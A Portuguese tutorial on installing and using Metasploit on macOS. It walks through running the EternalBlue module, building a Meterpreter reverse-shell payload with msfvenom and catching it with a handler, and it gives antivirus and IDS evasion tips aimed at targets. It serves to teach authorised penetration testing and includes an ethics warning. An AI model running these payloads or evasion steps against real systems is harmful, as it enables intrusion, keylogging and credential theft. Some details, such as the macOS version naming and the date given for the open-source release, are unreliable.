O Metasploit não é apenas uma ferramenta de penetration testing: é o canivete suíço da segurança ofensiva. Usado por profissionais, researchers e curiosos, é a framework que transforma uma vulnerabilidade abstrata num exploit funcional. E sim, corre nativamente no macOS.

Criado por HD Moore em 2003 como uma ferramenta de desenvolvimento de exploits em Perl, o Metasploit cresceu até se tornar a framework de segurança ofensiva mais popular do mundo. Em 2009 foi adquirido pela Rapid7, e em 2024 foi lançado como open-source sob licença BSD. A versão estável atual é a 6.4 (Janeiro de 2026), com mais de 3500 exploits, 500+ payloads e suporte para dezenas de plataformas: incluindo macOS ARM64.

Vou mostrar-te:

  • O que é o Metasploit Framework e os seus módulos principais
  • Como instalar e configurar o Metasploit no macOS (Intel e Apple Silicon)
  • Primeiros passos no msfconsole: navegação, pesquisa, configuração
  • Referência completa de tipos de módulos e payloads
  • Exemplo prático: gerar um payload macOS com msfvenom
  • Configurar base de dados, workspaces e automação
  • Dicas e boas práticas para usar em ambiente controlado

Metasploit no macOS

⬆ Metasploit Framework a correr no macOS com msfconsole, base de dados PostgreSQL e múltiplos módulos carregados


O que é o Metasploit framework

O Metasploit Framework (MSF) é uma plataforma open-source para desenvolvimento, teste e execução de exploits. Pensa nele como um compilador de exploits: em vez de escreveres código de raiz para cada ataque, usas módulos prontos que combinam vulnerabilidades com payloads.

A framework é modular. Cada componente tem um papel específico e pode ser combinado com outros:

TipoDescriçãoPrefixoExemplo
exploitCódigo que tira partido de uma vulnerabilidadeexploit/exploit/multi/handler
payloadCódigo que corre após o exploit (reverse shell, bind, etc)payload/payload/osx/x64/meterpreter/reverse_tcp
auxiliaryMódulos auxiliares: scanners, fuzzers, sniffers, DoSauxiliary/auxiliary/scanner/portscan/tcp
postMódulos de pós-exploração (privilege escalation, hashdump)post/post/osx/gather/hashdump
encoderOfusca o payload para evitar deteçãoencoder/encoder/x64/xor
nopGeradores de NOP sledsnop/nop/x64/simple

Escrito em Ruby, o Metasploit corre em qualquer sistema UNIX-like. A interação principal é feita via msfconsole: uma shell interativa com histórico, autocomplete e suporte para scripts. Para gerar payloads isolados, existe o msfvenom (que substituiu o antigo msfpayload + msfencode).

msfconsole com sessão ativa

⬆ Sessão do msfconsole com um exploit carregado e payload configurado

Nota: O Metasploit Framework é diferente do Metasploit Pro (versão comercial com interface web e features adicionais). Este guia foca-se na versão community/open-source, que é gratuita e mais que suficiente para learning e testes controlados.


Instalação no macOS

No macOS, a forma mais prática de instalar o Metasploit é via Homebrew. O processo é simples, mas tens de garantir alguns pré-requisitos primeiro.

Pré-requisitos
  • Homebrew instalado (se não tens, abre o terminal e corre /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)")
  • Ruby: o macOS já traz Ruby instalado, mas o Homebrew gere a versão do Metasploit de forma isolada
  • PostgreSQL: necessário para a base de dados do Metasploit
  • Xcode Command Line Tools: instala com xcode-select --install
Passo 1: Instalar o Metasploit
brew install metasploit
Copy

Este comando instala o Metasploit Framework, o msfconsole, o msfvenom e todas as dependências necessárias. O processo demora alguns minutos porque o Homebrew compila algumas gems Ruby nativas.

Passo 2: Instalar e configurar o PostgreSQL

O Metasploit usa uma base de dados PostgreSQL para armazenar resultados de scans, hosts, serviços e loot. Instala o PostgreSQL com:

brew install postgresql@16
Copy

Depois de instalado, inicia o serviço e configura o Metasploit para usar a base de dados:

brew services start postgresql@16
msfdb init
Copy

O comando msfdb init cria o utilizador, a base de dados e as tabelas necessárias. Se correr bem, vês uma mensagem como "Created database" ou "Database already exists".

Atenção no Apple Silicon (M1/M2/M3/M4): O Homebrew instala o PostgreSQL em /opt/homebrew/var/postgresql@16/. Se tiveres problemas de permissões, verifica que o diretório /opt/homebrew/var/ é owned pelo teu user. Em caso de erro, rm -rf /opt/homebrew/var/postgresql@16 e msfdb init de novo.

Passo 3: Verificar a instalação
msfconsole --version
Copy

Deve mostrar algo como Framework Version: 6.4.x. Se vires também a mensagem "Connected to database", está tudo pronto.


Primeiros passos no msfconsole

O msfconsole é o centro de comando do Metasploit. É uma shell interativa com suporte para tab completion, histórico de comandos, colorização e scripting. Para entrar, é simples:

msfconsole
Copy

Vais ver o banner do Metasploit (personalizável com msfconsole --banner-file) e a prompt msf6 > à tua espera.

Comandos base para sobreviver no msfconsole:

ComandoDescrição
helpLista todos os comandos disponíveis (uso: help search para ajuda específica)
searchPesquisa módulos por nome, CVE, plataforma, etc. Ex: search apache
use [módulo]Carrega um módulo. Ex: use exploit/multi/handler
show optionsMostra as opções configuráveis do módulo ativo
set [opção] [valor]Define uma opção do módulo. Ex: set LHOST 192.168.1.100
run ou exploitExecuta o módulo ativo com as opções configuradas
backSai do módulo atual e volta à prompt principal
infoMostra informação detalhada sobre o módulo carregado
checkVerifica se um alvo é vulnerável (sem executar o exploit)
sessionsLista e interage com sessões ativas. sessions -i 1 para interagir
jobsLista e gere handlers em background. jobs -k para matar todos
exitSai do msfconsole

Exemplo prático de navegação:

msf6 > search eternalblue

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue        2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

msf6 > use 0
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
Copy

Repara como a prompt muda para msf6 exploit(windows/smb/ms17_010_eternalblue) > quando carregas um módulo: o nome do módulo ativo fica sempre visível. Isto é muito útil quando estás a saltar entre vários exploits.


Módulos essenciais: referência

O Metasploit organiza os seus módulos numa hierarquia clara: tipo/plataforma/software/vulnerabilidade. Cada módulo tem um path único que usas no use e no search.

Tabela de referência dos tipos de módulos:

TipoDescriçãoPrefixo
exploitCódigo que tira partido de uma vulnerabilidadeexploit/
payloadCódigo que corre após o exploit (reverse shell, bind, etc)payload/
auxiliaryMódulos auxiliares: scanners, fuzzers, sniffersauxiliary/
postMódulos de pós-exploração (privilege escalation, hashdump)post/
encoderOfusca o payload para evitar deteçãoencoder/
nopGeradores de NOP sledsnop/

Para explorar os módulos disponíveis no teu sistema, usa show exploits, show payloads, show auxiliary ou simplesmente pesquisa com search. Cada comando show lista centenas de módulos: usa grep para filtrar:

msf6 > show exploits | grep -i osx
Copy

Payloads: guia de referência

Os payloads são o código que corre no alvo depois do exploit funcionar. Podem ser tão simples como uma shell remota ou tão complexos como o Meterpreter: uma plataforma de pós-exploração avançada com scripting, escalamento de privilégios, keylogging e muito mais.

Existem duas categorias principais de payloads:

  • Staged (estagiados): Enviam um pequeno stager que depois descarrega o payload completo. São mais pequenos e evasivos, mas precisam de uma segunda conexão. O nome tem um / no path: meterpreter/reverse_tcp
  • Stageless (completos): O payload é enviado de uma só vez. É maior (mais fácil de detetar), mas não precisa de segunda conexão. O nome não tem / extra: meterpreter_reverse_tcp

Tabela de payloads comuns:

PayloadTipoDescriçãoStaged
meterpreter/reverse_tcpstagedReverse TCP com Meterpreter (small stager + payload completo) Sim
meterpreter_reverse_httpsstagelessMeterpreter via HTTPS (evasivo, encapsulado em SSL) Não
shell/reverse_tcpstagedReverse shell clássico: uma shell pura no alvo Sim
windows/x64/meterpreter/reverse_tcpstagedMeterpreter x64 para Windows Sim
osx/x64/meterpreter/reverse_tcpstagedMeterpreter x64 para macOS (Intel e Apple Silicon via Rosetta) Sim

A regra geral: usa staged quando precisas de payloads pequenos e evasivos. Usa stageless quando a conexão não é fiável (redes instáveis, NAT complicado) ou quando o payload não precisa de ser pequeno.


Exemplo prático: gerar um payload

Vamos ao que interessa: gerar um payload real para macOS com o msfvenom e configurar um handler para o receber. Este exemplo é didático e deve ser usado apenas em ambientes que controlas (teu próprio Mac de teste, VMs, laboratórios).

1. Gerar o payload com msfvenom

O msfvenom substitui os antigos msfpayload e msfencode. Gera payloads standalone em vários formatos: macho (macOS), exe (Windows), elf (Linux), apk (Android), py (Python), entre muitos outros.

msfvenom -p osx/x64/meterpreter/reverse_tcp \
         LHOST=192.168.1.100 \
         LPORT=4444 \
         -f macho \
         -o payload.macho
Copy

Explicação dos parâmetros:

  • -p: O payload a usar. Escolhemos osx/x64/meterpreter/reverse_tcp (Meterpreter x64 para macOS, staged, reverse TCP)
  • LHOST=192.168.1.100: O IP da máquina atacante (onde o msfconsole vai estar à escuta). Altera para o teu IP real
  • LPORT=4444: A porta onde o handler vai estar à escuta. A porta 4444 é a default do Metasploit
  • -f macho: Formato de output: ficheiro binário Mach-O, o formato executável do macOS
  • -o payload.macho: Nome do ficheiro de output

Se preferires um payload stageless (mais fiável, maior ficheiro):

msfvenom -p osx/x64/meterpreter_reverse_tcp \
         LHOST=192.168.1.100 \
         LPORT=4444 \
         -f macho \
         -o payload_stageless.macho
Copy

Nota a diferença no nome do payload: meterpreter/reverse_tcp (staged, com slash) vs meterpreter_reverse_tcp (stageless, sem slash).

msfvenom a gerar payload

⬆ Geração de payload com msfvenom: output compacto e informativo

2. Configurar o handler no msfconsole

Agora precisamos de um handler: um servidor que fica à escuta e recebe a conexão quando o payload for executado no alvo.

msfconsole
Copy

Dentro do msfconsole:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD osx/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.100
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run
Copy

O handler fica à escuta. Quando o payload payload.macho for executado no Mac alvo, recebes uma sessão Meterpreter:

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Sending stage (812348 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:54321)

meterpreter > sysinfo
Computer   : alvo.local
OS         : macOS 15.1 (Sonoma)
Arch       : x64
Meterpreter: x64/osx

meterpreter > getuid
Server username: user

meterpreter > screenshot
Screenshot saved to: /Users/user/screenshot.jpeg
Copy

Dentro do Meterpreter tens dezenas de comandos: sysinfo, getuid, screenshot, keyscan_start (keylogging), download/upload, shell (abre uma shell nativa do SO), hashdump, webcam_snap e muito mais.

IMPORTANTE: No macOS moderno (Catalina+), o sistema tem proteções como Gatekeeper, Notarization e Hardened Runtime. Um payload .macho não assinado vai ser bloqueado pelo Gatekeeper a menos que desatives as proteções no alvo (num ambiente de teste controlado). Isto é normal: o objetivo não é contornar segurança, mas sim perceber como o sistema se defende.


Database e workspace

Uma das features mais subestimadas do Metasploit é a base de dados. Sem ela, o msfconsole funciona, mas perdes rastreio de hosts, serviços, credenciais e loot. Com a BD ativa, tens um histórico persistente de todas as tuas operações.

Iniciar e configurar

Assume que já tens o PostgreSQL instalado (vimos isto na instalação). Confirma que o serviço está ativo:

brew services start postgresql@16
msfdb init   # só precisas de correr uma vez
Copy

Para verificar que o msfconsole está conectado à BD, dentro da shell:

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
Copy
Workspaces

Os workspaces são ambientes isolados dentro da base de dados. Cada projeto, cliente ou CTF deve ter o seu próprio workspace. Isto evita misturares dados de alvos diferentes.

msf6 > workspace          # lista workspaces
msf6 > workspace -a lab1  # cria novo workspace "lab1"
msf6 > workspace lab1     # muda para workspace "lab1"
msf6 > workspace -d lab1  # apaga workspace "lab1"
Copy
Comandos de base de dados

Com a BD ativa, ganhas acesso a comandos extra que tornam o teu trabalho muito mais organizado:

ComandoDescrição
hostsLista todos os hosts descobertos com IP, OS, hostname
servicesLista serviços (portas, protocolos, estado) nos hosts
vulnsMostra vulnerabilidades identificadas por host
lootLista ficheiros extraídos (hashes, screenshots, configs)
notesNotas adicionadas manualmente sobre hosts, sessões, observações
credsBase de dados de credenciais encontradas
db_exportExporta toda a base de dados para XML
db_importImporta resultados de scanners (Nmap, Nessus, etc)

Exemplo prático: Importar um scan do Nmap e ver os resultados:

msf6 > db_import /caminho/para/scan.xml
[*] Importing 'Nmap XML' data
[*] Import: 5 hosts, 23 services imported

msf6 > hosts
msf6 > services
msf6 > vulns
Copy

Isto transforma o Metasploit num verdadeiro Sistema de Gestão de Testes de Penetração: toda a informação fica centralizada, pesquisável e exportável.


Resource scripts

Os resource scripts (ficheiros .rc) são uma forma de automatizar o msfconsole. Funcionam como um script batch: cada linha é um comando que o msfconsole executa sequencialmente.

Isto é útil para configurações repetitivas: criar um handler com payload configurado, correr um conjunto de módulos auxiliary contra um alvo, ou configurar o ambiente de trabalho no início de uma sessão.

Exemplo de resource script: guarda como handler.rc:

use exploit/multi/handler
set PAYLOAD osx/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
set ExitOnSession false
exploit -j -z
Copy

Explicação dos comandos:

  • set ExitOnSession false: o handler continua à escuta depois de receber uma sessão (útil para múltiplos alvos)
  • exploit -j: corre o exploit como job (background)
  • exploit -z: não interage com a sessão imediatamente (fica em background)

Para carregar o script:

msf6 > resource /caminho/para/handler.rc
Copy

Ou diretamente ao iniciar o msfconsole:

msfconsole -r handler.rc
Copy

Podes criar resource scripts para tudo: configurar workspaces, importar scans, lançar exploits em sequência, gerar relatórios. É uma ferramenta poderosa para standardizar workflows e evitar erros manuais.


Dicas e boas práticas

Depois de anos a usar o Metasploit, aqui estão algumas práticas que fazem toda a diferença entre um teste organizado e uma sessão caótica:

1. Usa tmux ou screen para sessões persistentes

Uma sessão de pentest pode durar horas ou dias. O msfconsole dentro de uma sessão tmux sobrevive a fechos acidentais do terminal. Desanexa e volta mais tarde:

tmux new -s metasploit
msfconsole
# Ctrl+B, D para desanexar
# mais tarde:
tmux attach -t metasploit
Copy

2. Configura logging com spool

O comando spool regista tudo o que aparece no terminal para um ficheiro. Útil para auditoria e para rever passos mais tarde:

msf6 > spool /tmp/msf-session-2026-06-01.log
[*] Spooling to file /tmp/msf-session-2026-06-01.log
Copy

3. Usa payloads HTTPS para evasão

Payloads reverse TCP são fáceis de detetar por firewalls e IDS. O payload meterpreter_reverse_https encapsula tudo em SSL, o que torna o tráfego indistinguível de HTTPS normal. Muito mais evasivo.

4. Mantém a framework atualizada

O Metasploit recebe atualizações semanais com novos exploits e payloads. Mantém-te atualizado:

msfupdate
# ou, se instalaste via Homebrew:
brew update && brew upgrade metasploit
Copy

5. Usa jobs para handlers persistentes

Quando configuras um handler, usa exploit -j -z para o correr em background como job. Isto liberta a prompt e permite configurar outros exploits ou payloads enquanto o handler fica à escuta. Vê os jobs ativos com jobs -l e mata com jobs -k.

6. Workspaces separados por projeto

Cada cliente, CTF ou laboratório merece o seu próprio workspace. Isto evita que dados de alvos diferentes se misturem. Cria um workspace por projeto com workspace -a e muda entre eles livremente.

7. Desativa AV local durante testes controlados

Não há forma de contornar esta realidade: se tens um antivírus ativo no teu Mac de teste, ele vai detetar os payloads que geras com o msfvenom. Em ambiente de laboratório controlado, desativa o AV temporariamente. Nos alvos, explora técnicas de evasão como encoders personalizados ou templates customizados.

8. Documenta tudo com notes

O Metasploit permite adicionar notas a hosts, sessões, e resultados. Usa e abusa:

msf6 > notes -a host 192.168.1.101 -t "Observação" -d "Porta 22 aberta, versão OpenSSH 9.0"
msf6 > notes
Copy

Isto transforma a base de dados num caderno de laboratório digital, auditável e exportável.


Segurança e ética

Vamos ser muito diretos.

O Metasploit é uma ferramenta de teste de segurança, não uma arma. Usá-lo contra sistemas que não pertençam a ti ou para os quais não tenhas autorização explícita por escrito é crime em praticamente todos os países: incluindo Portugal (Lei do Cibercrime, Lei n.º 109/2009, que transpõe a Convenção de Budapeste).

As penas podem ir de multas a prisão, dependendo dos danos causados. Não é um aviso teórico: conheço casos reais de pessoas que foram processadas por "testar" sistemas alheios.

A regra de ouro: Só testas o que controlas. Se queres praticar, usa laboratórios próprios: VMs, Docker, Hack The Box, TryHackMe, ou o excelente Metasploitable (uma VM intencionalmente vulnerável criada pela Rapid7).

O Metasploit não distingue entre "uso bom" e "uso mau": és tu que fazes essa distinção. Sê responsável. Usa o conhecimento para proteger, não para destruir.


Conclusão

O Metasploit Framework continua a ser, mais de 20 anos depois, a ferramenta de referência para segurança ofensiva. Modular, extensível e open-source, é ao mesmo tempo uma ferramenta de trabalho para profissionais e um laboratório de aprendizagem para quem quer perceber como funcionam os exploits.

Com este guia tens tudo para instalar, configurar e dar os primeiros passos no Metasploit no macOS. Exploraste os módulos, os payloads, a base de dados, os resource scripts e boas práticas. O resto é prática: muito laboratório, muita leitura e uma boa dose de curiosidade.

Experimenta num ambiente controlado, contribui para a comunidade (o código é open-source), e acima de tudo, usa o que aprendeste com responsabilidade. A segurança informática é uma área fascinante: e começa exatamente onde este guia acaba.

Tens dúvidas, sugestões ou encontraste um erro? Deixa um comentário ou contribui para o guia no GitHub.

Recursos adicionais

Comentários (0)

Nenhum comentário ainda. Seja o primeiro!

Deixar comentário